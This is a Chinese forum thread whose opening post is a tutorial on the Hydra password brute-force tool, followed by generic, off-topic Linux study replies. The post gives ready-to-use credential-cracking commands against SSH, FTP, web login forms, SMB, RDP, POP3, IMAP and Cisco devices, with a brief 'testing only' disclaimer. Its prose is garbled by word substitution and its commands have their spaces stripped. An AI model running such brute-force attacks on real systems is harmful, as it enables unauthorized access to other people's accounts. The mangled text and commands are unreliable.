仓酷云

标题: Linux教程之CentOS下的暴力暗码在线破解东西Hydra详解 [打印本页]

作者: 谁可相欹 时间: 2015-1-14 20:43
标题: Linux教程之CentOS下的暴力暗码在线破解工具Hydra详解
欢迎大家来到仓酷云论坛！PS：这款暴力暗码破解工具相称壮大，撑持几近一切协定的在线暗码破解，其暗码可否被破解关头在于字典是不是充足壮大。关于社会工程型浸透来讲，偶然可以失掉事半功倍的效果。本文仅从宁静角度往切磋测试，利用本文内容往做损坏者，与自己有关。
1、简介
hydra是出名黑客构造thc的一款开源的暴力暗码破解工具，能够在线破解多种暗码。官网：http://www.thc.org/thc-hydra，可撑持AFP,CiscoAAA,Ciscoauth,Ciscoenable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MS-SQL,MYSQL,NCP,NNTP,OracleListener,OracleSID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,RDP,Rexec,Rlogin,Rsh,SAP/R3,SIP,SMB,SMTP,SMTPEnum,SNMP,SOCKS5,SSH(v1andv2),Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNCandXMPP等范例暗码。
2、装置
假如是Debian和Ubuntu刊行版，源里自带hydra，间接用apt-get在线装置：
sudoapt-getinstalllibssl-devlibssh-devlibidn11-devlibpcre3-devlibgtk2.0-devlibmysqlclient-devlibpq-devlibsvn-devfirebird2.1-devlibncp-devhydra
Redhat/Fedora刊行版的下载源码包编译装置，先装置相干依附包：
yuminstallopenssl-develpcre-develncpfs-develpostgresql-devellibssh-develsubversion-devel

hydra下载地点：http://www.thc.org/releases/hydra-7.3.tar.gz

#tarzxvfhydra-7.0-src.tar.gz
#cdhydra-7.0-src
#./configure
#make
#makeinstall

hydra撑持GUI图形界面，不外习气仍是下令好用。
3、参数申明

hydra[[[-lLOGIN|-LFILE][-pPASS|-PFILE]]|[-CFILE]][-ens]
[-oFILE][-tTASKS][-MFILE[-TTASKS]][-wTIME][-f][-sPORT][-S][-vV]serverservice[OPT]
-R持续从上一次进度接着破解。
-S接纳SSL链接。
-sPORT可经由过程这个参数指定非默许端口。
-lLOGIN指定破解的用户，对特定用户破解。
-LFILE指定用户名字典。
-pPASS小写，指定暗码破解，罕用，通常为接纳暗码字典。
-PFILE年夜写，指定暗码字典。
-ens可选选项，n：空暗码探索，s：利用指定用户和暗码探索。
-CFILE利用冒号支解格局，比方“登录名:暗码”来取代-L/-P参数。
-MFILE指定方针列表文件一行一条。
-oFILE指定了局输入文件。
-f在利用-M参数今后，找到第一对登录名大概暗码的时分中断破解。
-tTASKS同时运转的线程数，默许为16。
-wTIME设置最年夜超时的工夫，单元秒，默许是30s。
-v/-V显现具体历程。
server方针ip
service指定办事名，撑持的办事和协定：telnetftppop3[-ntlm]imap[-ntlm]smbsmbnthttp-{head|get}http-{get|post}-formhttp-proxyciscocisco-enablevncldap2ldap3mssqlmysqloracle-listenerpostgresnntpsocks5rexecrloginpcnfssnmprshcvssvnicqsapr3sshsmtp-auth[-ntlm]pcanywhereteamspeaksipvmauthdfirebirdncpafp等等。
OPT可选项

4、各类用法实例
复杂演示：

破解乐成，间接显现了局，上丹青红线的中央就是破解出来的暗码，也能够经由过程参数-o输入到文件里。假如字典够壮大，分离社工，暗码不必好久就出来。
1、破解ssh：

hydra-l用户名-p暗码字典-t线程-vV-ensipssh
hydra-l用户名-p暗码字典-t线程-osave.log-vVipssh

2、破解ftp：

hydraipftp-l用户名-P暗码字典-t线程(默许16)-vV
hydraipftp-l用户名-P暗码字典-ens-vV

3、get体例提交，破解web登录：

hydra-l用户名-p暗码字典-t线程-vV-ensiphttp-get/admin/
hydra-l用户名-p暗码字典-t线程-vV-ens-fiphttp-get/admin/index.php

4、post体例提交，破解web登录：

hydra-l用户名-P暗码字典-s80iphttp-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"

hydra-t3-ladmin-Ppass.txt-oout.txt-f10.36.16.18http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrongusernameorpassword</title>"

（参数申明：-t同时线程数3，-l用户名是admin，字典pass.txt，保留为out.txt，-f当破解了一个暗码就中断，10.36.16.18方针ip，http-post-form暗示破解是接纳http的post体例提交的表单暗码破解,<title>中的内容是暗示毛病猜解的前往信息提醒。）
5、破解https：

hydra-m/index.php-lmuts-Ppass.txt10.36.16.18https

6、破解teamspeak：

hydra-l用户名-P暗码字典-s端标语-vVipteamspeak

7、破解cisco：

hydra-Ppass.txt10.36.16.18cisco
hydra-mcloud-Ppass.txt10.36.16.18cisco-enable

8、破解smb：

hydra-ladministrator-Ppass.txt10.36.16.18smb

9、破解pop3：

hydra-lmuts-Ppass.txtmy.pop3.mailpop3

10、破解rdp：

hydraiprdp-ladministrator-Ppass.txt-V

11、破解http-proxy：

hydra-ladmin-Ppass.txthttp-proxy://10.36.16.18

12、破解imap：

hydra-Luser.txt-psecret10.36.16.18imapPLAIN
hydra-Cdefaults.txt-6imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

永世链接:http://www.ha97.com/5186.html

如果您觉得本篇CentOSLinux教程讲得好，请记得点击右边漂浮的分享程序，把好文章分享给你的好朋友们！

作者: 变相怪杰 时间: 2015-1-16 21:57
标题: Linux教程之CentOS下的暴力暗码在线破解工具Hydra详解
得到到草率的回答或者根本得不到任何Linux答案。越表现出在寻求帮助前为解决问题付出的努力，你越能得到实质性的帮助。

作者: 老尸 时间: 2015-1-20 23:49
学习Linux应具备的。[书籍+网络资源]

作者: 只想知道 时间: 2015-1-30 08:05
有疑问前，知识学习前，先用搜索。

作者: 莫相离 时间: 2015-2-6 09:10
生成新的unispimsp.ksc。”另外得到回复后如果问题解决，向帮助过你的人发个说明，让他们知道问题是怎样解决的。

作者: admin 时间: 2015-2-15 22:06
一些显而易见的小错误还是用vi改正比较方便。以后的大一点的程序就得在Linux下调试了，因为有的头文件在VC里面说找不到。?

作者: 金色的骷髅 时间: 2015-3-4 16:09
即便是非英语国家的人发布技术文档,Linux也都首先翻译成英语在国际学术杂志和网络上发表。

作者: 愤怒的大鸟 时间: 2015-3-11 20:36
熟悉系统的基本操作，Linux的图形界面直观，操作简便，多加上机练习就可熟悉操作，在Linux下学习办公软件等常用软件。

作者: 海妖 时间: 2015-3-19 15:04
Linux只是个内核!这点很重要，你必须理解这一点。只有一个内核是不能构成一个操作系统的。

作者: 因胸联盟 时间: 2015-3-29 15:16
熟读Linux系统有关知识，如系统目录树，有关内容可购书阅读或搜索论坛。

欢迎光临仓酷云 (http://ckuyun.com/)